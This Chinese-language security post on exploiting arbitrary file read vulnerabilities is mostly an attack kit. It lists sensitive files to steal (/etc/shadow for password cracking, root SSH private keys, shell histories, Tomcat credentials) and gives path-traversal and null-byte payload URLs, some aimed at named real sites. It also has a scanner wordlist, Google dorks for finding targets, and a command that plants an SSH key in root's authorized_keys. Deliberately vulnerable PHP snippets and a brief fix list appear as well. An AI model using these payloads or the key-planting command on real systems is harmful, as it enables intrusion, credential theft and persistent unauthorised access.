任意文件读取的深度利用
Contents
1. 利用指南
基本思路就是尝试读取敏感文件以获取尽可能多的信息。
比如, /etc/issue
可以确认 Linux 主机的发行版,
其中 .bash_history
, ssh相关路径
中可能含有大量敏感信息,
获取到 /etc/shadow
则可以直接使用 John The Ripper 尝试枚举 root 密码。
Tomcat 控制台可读取用户密码 /usr/local/tomcat/conf/tomcat-users.xml
。
顺带提供了一些黑盒和白盒状态下挖掘此类漏洞的一些思路,主要以 PHP 为例。
高效利用字典
https://github.com/ev0A/ArbitraryFileReadList
1.1 判断系统类型 (Linux的具体发行版)
uname -a
lsb_release -d
cat /etc/issue
cat /etc/os-release
cat /etc/redhat-release
cat /etc/debian_version
cat /etc/slackware_version
ls /etc/*version
cat /proc/version
cat /proc/cpuinfo
1.2 其他说明 (服务器进程权限判断)
可以在本地构造虚拟机,搭建类似的环境,查看默认路径情况。
服务器进程权限判断
通过 /etc/shadow
, /proc/self/cwd
能不能读到,可以判断进程的权限,可读(root),不可读(非 root)
其他
有些文件需要高权限才能读取
`.bash_history` # 历史中可能带着用户的密码 (遇到过现实案例,是输错的情况下参数的,比如没输入 su 却以为自己输了 su)
/etc/passwd # 用户情况
/etc/shadow # 直接 John the Ripper
/usr/local/tomcat/conf/tomcat-users.xml # tomcat 用户配置文件
/etc/hosts # 主机信息,通常配置了一些内网域名
/root/.bashrc # 环境变量
/root/.bash_history # 还有root外的其他用户
/root/.viminfo # vim 信息
/root/.ssh/id_rsa # 拿私钥直接ssh
/proc/xxxx/cmdline # 进程状态枚举 xxxx 可以为0000-9999 使用burpsuite
数据库 config 文件
web 日志 access.log, error.log
ssh 日志
/var/lib/php/sess_PHPSESSID # 非常规问题 session 文件( 参考 平安科技的一道session包含 http://www.jianshu.com/p/2c24ea34566b)
# 网络信息
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
1.3 无痕反弹 shell
kill -9 $$
2. 白盒测试
2.1 常见代码最简化案例
以 PHP 为例
几个关键函数
file_get_content("/etc/passwd")
include("/etc/passwd")
readfile("etc/passwd")
部分例子
file_get_contents
<?php
$filename =$_GET['f'];
echo file_get_contents($filename);
?>
readfile
这种方式会直下载
<?php
$filename =$_GET['f'];
header('Content-Type:image/gif');
header('Content-Disposition:attachment;filename='.$filename);
header('Content-Length:'.filesize($filename));
readfile($filename);
?>
2.2 白盒测试思路
代码审计
【白盒审计视角】WEB 安全系列之如何挖掘任意文件读取漏洞
https://blog.csdn.net/cic10235/article/details/52052522
3. 黑盒测试
3.1 黑盒测试的特征
通常出现在 文件上传/下载相关功能处。
从参数名称看,可能属于以下类型
&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF
3.2 判断类型
index.php?f=../../../../../../etc/passwd
index.php?f=../index.php
index.php?f=file:///etc/passwd
注:当参数f的参数值为php文件时,若是文件被解析则是文件包含漏洞,若显示源码或提示下载则是文件查看与下载漏洞
4. 扫描器开发参考
4.1 payload 参考
http://...:8080/%c0%ae/WEB-INF/classes/com/huilan/application/action/PeopleBankAction.class
# 配合截断规则
/etc/passwd%00.jpg
../../../../../../../../../../etc/passwd%00.jpg
http://www.zzvcom.com/cms/interface.jsp?time=41&data={readfile:%27/WEB-INF/classes/jdbc.properties%27}&jsoncallback=jsonp1442909681355
http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://www.intime.com.cn:8000/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini
echo ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0jrJeJfEURdpG/jddXzk3zZYxQfdHbgPC4QYh5qx0F2SS1Q+uCW6j2cM/SxqhocfgDYw1CTikNTlJ43tzv1ozpSRjmLH26aTxGDUnXsvyVLeWdrjPni1FoVffW+LM0rZVh7A74Vi1bDr7IP7XjSMQU157rye7++G+eWA1NhscIiiJ/pwUKAjPSiEx+8DXN8ccTDyWrSnD+NfUQXPO4dVFu2MR5/VjLO2yWsVMwenCPwItf5xEwGqU5KbzxeTOyDnYYLk7UF6lBYpSDZC9U3mNL1alYgNnIbmZGYg921KFh28BRptDewh5MRDKmfMUSqeZpIZ95Pq8lG1sObcjNzDew== root@szmlserver95_251.easou.com >> /root/.ssh/authorized_keys
4.2 字典
4.2.1 关于字典各字段的简要说明
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表,可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd # 当前进程的工作目录
/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
4.2.2 字典内容
# defaut
download.php?file=download.php
# index
index/php
../index.php
../../index.php
../../../index.php
../../../../index.php
../../../../../index.php
../../../../../../index.php
../../../../../../../index.php
../../../../../../../../index.php
../../../../../../../../../index.php
../../../../../../../../../../index.php
../../../../../../../../../../../index.php
# system proc
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
# ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
# network
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1
# application
/opt/nginx/conf/nginx.conf
/var/www/html/index.html
/root/.mysql_history
/root/.wget-hsts
/etc/my.cnf
# common
/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history
/root/.ssh/authorized_keys
/root/.mysql_history
/root/.wget-hsts
/var/www/html/index.html
# protocol
file:///etc/passwd
gopher:///etc/passwd
ftp://
# SSRF 内网探测
url=http://10.29.5.24
# Windows
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
5. 漏洞复现的建议
5.1 Google Hacking Dorks
inurl:"readfile.php?file="
inurl:"download.php?file="
inurl:"read.php?filename="
inurl:"down.php?file="
5.2 历史漏洞案例
resin 任意文件读取
glassfish 任意文件读取
elasticsearch 任意文件读取
6. 修复方案
以下仅说明若干种修复思路,可能会有考虑不周的地方
- php.ini 配置 open_basedir
- 用户输入配置白名单
- 不允许包含
../
7. 参考资料
1. Directory Traversal, File Inclusion, and The Proc File System
Leave a Reply